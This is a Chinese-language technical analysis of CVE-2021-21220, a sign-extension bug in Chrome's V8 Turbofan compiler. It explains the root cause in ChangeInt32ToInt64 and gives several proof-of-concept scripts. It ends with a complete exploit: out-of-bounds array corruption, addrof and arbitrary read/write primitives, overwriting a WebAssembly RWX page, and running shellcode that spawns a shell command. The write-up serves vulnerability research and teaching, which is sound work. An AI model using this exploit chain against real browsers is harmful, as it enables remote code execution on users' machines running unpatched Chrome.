Chrome 远程代码执行漏洞(CVE-2021-21220)

前言

Google于4 月 13 日发布了最新的 Chrome 安全通告,公告链接(https://chromereleases.googleblog.com/),其中修复了pwn2own中攻破 Chrome 所使用的一个严重的安全漏洞(CVE-2021-21220),该漏洞影响x64架构的 Chrome,可导致Chrome 渲染进程远程代码执行,并使用了巧妙的手段绕过了 Chrome 内部的各种缓释措施,目前Chrome最新版89.0.4389.128已修复。

实际测试老版本的x64架构的Chrome或 Chromium 83、86、87、88 受此漏洞影响,存在漏洞的代码在 5 年前就被引入,最远可能影响至 Chrome 55 版本,下面是具体的漏洞分析详情:

环境搭建

v8编译环境搭建

漏洞版本commit

通过访问如下链接可以获取到对应版本的信息

方法一

https://omahaproxy.appspot.com

![Untitled_1](picture/Chrome 远程代码执行漏洞(CVE-2021-21220)/Untitled_1.png)

但是该方法于2023年3月31日已经弃用了

方法二

从漏洞的issue链接https://bugs.chromium.org/p/chromium/issues/detail?id=821137
找到修复的commit链接https://chromium.googlesource.com/v8/v8.git/+/b5da57a06de8791693c248b7aafc734861a3785d ,可以看到漏洞信息、存在漏洞的上一个版本(parent)、diff修复信息和漏洞poc

方法三

可以去如下的网站获取对应的commit,也是https://omahaproxy.appspot.com的平替

https://chromiumdash.appspot.com/fetch_version?version=110.0.5481.61

v8环境搭建

最后得出对应的v8的commit为09ecd88ef275f6c66605218a0ffb72123ea3b5e1

漏洞分析

POC1

漏洞存在于 Chrome 的 JS 引擎的 JIT 编译器 Turbofan 当中,Instruction Selector阶段在处理ChangeInt32ToInt64节点时,会先检查 node 的 input 节点,如果 input 节点的操作码是 Load,那么会根据该 input节点的 LoadRepresentation 和 MachineRepresentation进行一些特殊的处理,如果判断该 input 节点的 MachineRepresentation 的类型是kWord32, 那么会根据 LoadRepresentation 是有符号的还是无符号的选择对应的指令,如果是有符号的选择X64Movsxlq,在x86指令集中是有符号扩展,如果是无符号的选择X64Movl, 在x86指令集中是无符号扩展。

漏洞的根源是V8 对ChangeInt32ToInt64的假设是该节点的输入必定被解释为一个有符号的Int32的值,所以无论 LoadRepresentation如何,都应该使用X64Movsxlq指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void InstructionSelector::VisitChangeInt32ToInt64(Node* node) {
DCHECK_EQ(node->InputCount(), 1);
Node* input = node->InputAt(0);
if (input->opcode() == IrOpcode::kTruncateInt64ToInt32) {
node->ReplaceInput(0, input->InputAt(0));
}
X64OperandGenerator g(this);
Node* const value = node->InputAt(0);
if (value->opcode() == IrOpcode::kLoad && CanCover(node, value)) {
LoadRepresentation = LoadRepresentationOf(value->op());
MachineRepresentation rep = load_rep.representation();
InstructionCode opcode;
switch (rep) {
case MachineRepresentation::kBit:// Fall through.
case MachineRepresentation::kWord8:
opcode = load_rep.IsSigned() ? kX64Movsxbq : kX64Movzxbq;
break;
case MachineRepresentation::kWord16:
opcode = load_rep.IsSigned() ? kX64Movsxwq : kX64Movzxwq;
break;
case MachineRepresentation::kWord32:
opcode = load_rep.IsSigned() ? kX64Movsxlq : kX64Movl;
break;
default:
UNREACHABLE();
}

触发漏洞的 poc 如下:

1
2
3
4
5
6
7
8
9
const arr = new Uint32Array([2 ** 31]);
function foo() {
return (arr[0] ^ 0) + 1;
}
console.log(foo()); //这一行输出-2147483647
for (let i = 0; i < 100000; i++)
foo();
console.log("after optimization");
console.log(foo());//这一行输出2147483649

同样一个函数在优化前和优化后返回的结果不一致。在优化前,arr[0] ^ 0的结果用十六进制表示是0x80000000, 对于异或运算,JS 引擎会将结果看做一个有符号的 Int32 的值,所以异或的结果是-2147483648, 加上1 以后变成-2147483647。

但是为什么优化后的结果不一致了呢,我们可以观察程序运行过程中生成的 Turbofan 的图。arr[0] ^ 0这个表达式被优化成了一个Load节点, 对应下图中的 #81 节点,而(arr[0] ^0) + 1这个加法运算被优化成了#58 ChangeInt32ToInt64节点和#50 Int64Add节点,如下图中黄色高亮部分所示,在图中可以看到,Load 节点的 MachineRepresentation 是Word32,而LoadRepresentation的类型是Uint32, 故而 Turbofan 选择了movl指令,也就是无符号扩展指令,导致 Load 节点的值会被无符号扩展为 64 位,然后和 1 相加,最后结果自然是2147483649。

![ ](picture/Chrome 远程代码执行漏洞(CVE-2021-21220)/229594fb-115b-4eff-b615-7f26315e408a.png)

用调试器调试也可以验证,在执行到mov ecx, DWORD PTR [rcx] 这一行时,rcx寄存器指向的值为0x80000000, 无符号扩展变成了2147483648, 最后加上 1 变成了2147483649。

![ ](picture/Chrome 远程代码执行漏洞(CVE-2021-21220)/7321efec-b7c8-446d-840e-c095e09852e3.png)

POC2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var b = new Uint32Array([0x80000000]);
var trigger_array = [];
function trigger() {
var x = 1;
x = (b[0] ^ 0) + 1; // 0x80000000 + 1
x = Math.abs(x); // 0x80000001 0x7fffffff
x -= 0x7fffffff; // 2 0
x = Math.max(x, 0); // 2 0

x -= 1; // 1 -1
if(x==-1) x = 0; // 1 0
trigger_array = new Array(x); // 1 0
trigger_array.shift();

var da = [1.1, 2.2];
var ob = [{a: 1,b: 2}];
return [da, ob];
}

上述PoC来源于:https://github.com/security-dbg/CVE-2021-21220/blob/main/exploit.js

因为我认为这个PoC更利于理解该漏洞。

在正常情况下,该函数的逻辑:

  1. b[0]为uint32类型的变量,其值为0x80000000。
  2. 异或了0以后,变成了int32类型,其值为-2147483648。
  3. 加上1以后,变成了-2147483647,赋值给了x。但是类型会被扩展成int64,因为js的变量是弱类型,如果x一开始的类型是int32,值为2147483647(0x7fffffff),那么x+1不会变成-1,而会变成。2147483648(0x80000000),因为int32被扩展成了int64。
  4. 然后使用math.abs函数计算绝对值,x值变为2147483647(0x7fffffff)。
  5. x - 0x7FFFFFFF = 0。
  6. 使用math.max函数计算x与0之间的最大值,为0。
  7. x - 1 = -1。
  8. 因为x=-1,所以x改为0。
  9. 新建了一个长度为0的数组。
  10. 因为长度为0,所以shitf无效,数组不变。

但是上述逻辑,经过JIT优化以后,就不一样了:

  1. b[0]为uint32类型的变量,其值为0x80000000。
  2. 将其转化成int64类型,其值为0x80000000。
  3. 加上1以后,变成了0x80000001。
  4. 然后使用math.abs函数计算绝对值,x值变为0x80000001。
  5. x - 0x7FFFFFFF = 2。
  6. 使用math.max函数计算x与0之间的最大值,为2。
  7. x - 1 = 1。
  8. 新建了一个长度为1的数组。
  9. shitf函数将数组的长度设置为-1,这就让我们得到了长度为-1的数组,通过该数据进行后续利用。

在JIT的优化过程中,存在两个问题:

1.将b[0]转化为int64,把符号去掉了,从Turbo流程图看,是通过ChangeInt32ToInt64来改变b[0]的变量类型,而在这个opcode实现的代码中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void InstructionSelector::VisitChangeInt32ToInt64(Node* node) {
......
switch (rep) {
case MachineRepresentation::kBit: // Fall through.
case MachineRepresentation::kWord8:
opcode = load_rep.IsSigned() ? kX64Movsxbq : kX64Movzxbq;
break;
case MachineRepresentation::kWord16:
opcode = load_rep.IsSigned() ? kX64Movsxwq : kX64Movzxwq;
break;
case MachineRepresentation::kWord32:
opcode = load_rep.IsSigned() ? kX64Movsxlq : kX64Movl;
break;
default:
UNREACHABLE();
return;
}
......

根据上面代码可以看出,如果b[0]是有符号的,那么将会使用kX64Movsxlq指令进行转换,如果是无符号的就会使用kX64Movl指令进行转换。

b[0]因为是一个uint32类型的变量,所以使用movl进行扩展大小,所以没有扩展其符号,导致出现了问题。

2.shift函数将数组长度设置为-1。

shift函数的正常逻辑是,判断数组的长度,如果其长度大于0,并且小于100,那么将会对长度的赋值进行优化,预测其长度,然后进行减1操作,直接写入数组的长度。

在JIT的预测当中,x的值为0,因为其预测是按照没有bug的情况进行预测的,但是实际情况x为1,这就导致实际情况的x通过了shitf的长度检查,然后却把x认为是0,从而-1,把数组的长度设置为了-1。

POC3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
//这是一个手动触发垃圾回收(Garbage Collection, GC)的函数
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//构造长度为-1的数组
arr.shift();
let local_arr = Array(2);
console.log("现在长度"+arr.length)
local_arr[0] = 5.1;//4014666666666666
let buff = new ArrayBuffer(0x1000);//byteLength idx=8
arr[0] = 0x1122; //
return [arr, local_arr, buff];
}

for (var i = 0; i < 0x10000; ++i)
foo(false);

gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
/*
CVE-2021-21220
HEAD @ 09ecd88ef275f6c66605218a0ffb72123ea3b5e1

https://bugs.chromium.org/p/chromium/issues/detail?id=1196683
https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2021-21220
*/


var bs = new ArrayBuffer(8);
var fs = new Float64Array(bs);
var is = new BigUint64Array(bs);

function hex(i)
{
return i.toString(16).padStart(8, "0");
}

function ftoi(val) {
fs[0] = val;
return is[0];
}

function itof(val) {
is[0] = val;
return fs[0];
}

var _x = new Uint32Array([0x80000000]);
var _y = {};

function foo(x) {
let z = _x[0] ^ 0;
z += 1;
z = Math.max(0, z) - 0x7fffffff;
z = Math.max(z, 0);
z >>= 1;

_y[z] = 1;
if (x) z = -1;

let i = Math.sign(z);
i = Math.sign(z) < 0 ? 0 : i;

let a = new Array(i);
a.shift();
let b = [1.1, 2.2, 3.3];
return [a, b];
}

for (let i = 0; i < 100000; i++)
foo(true);

let x = foo(false);
%SystemBreak();
%DebugPrint(x);
%SystemBreak();

let arr = x[0];
let oob = x[1];

%DebugPrint(oob);

%SystemBreak();


arr[16] = 1337;/*change oob lenth */

/* flt.elements @ oob[12] */
/* obj.elements @ oob[24] */
let flt = [1.1];
let tmp = {a: 1};
let obj = [tmp];

%DebugPrint(flt);

%SystemBreak();

function addrof(o) {
let a = ftoi(oob[24]) & 0xffffffffn;
let b = ftoi(oob[12]) >> 32n;
oob[12] = itof((b << 32n) + a);
obj[0] = o;
return (ftoi(flt[0]) & 0xffffffffn) - 1n;
}

function read(p) {
let a = ftoi(oob[12]) >> 32n;
oob[12] = itof((a << 32n) + p - 8n + 1n);
return ftoi(flt[0]);
}

function write(p, x) {
let a = ftoi(oob[12]) >> 32n;
oob[12] = itof((a << 32n) + p - 8n + 1n);
flt[0] = itof(x);
}

let wasm = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80,
0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01,
0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83,
0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00,
0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f,
0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a,
0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a,
0x0b
]);

let module = new WebAssembly.Module(wasm);
let instance = new WebAssembly.Instance(module);
let entry = instance.exports.main;

//%SystemBreak();
%DebugPrint(instance);
console.log("[*] leak instance :0x"+hex(addrof(instance)))


let rwx = read(addrof(instance)+ 0x68n);
console.log("[*] leak rwx addr: 0x" + hex(rwx));

%DebugPrint(instance);
//%SystemBreak();


/* DISPLAY=':0.0' xcalc */
let shellcode = new Uint8Array([
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54,
0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00,
0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e,
0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e,
0x6a, 0x3b, 0x58, 0x0f, 0x05
]);

let buf = new ArrayBuffer(shellcode.length);
let view = new DataView(buf);

write(addrof(buf) + 0x14n, rwx);

for (let i = 0; i < shellcode.length; i++)
view.setUint8(i, shellcode[i]);

entry();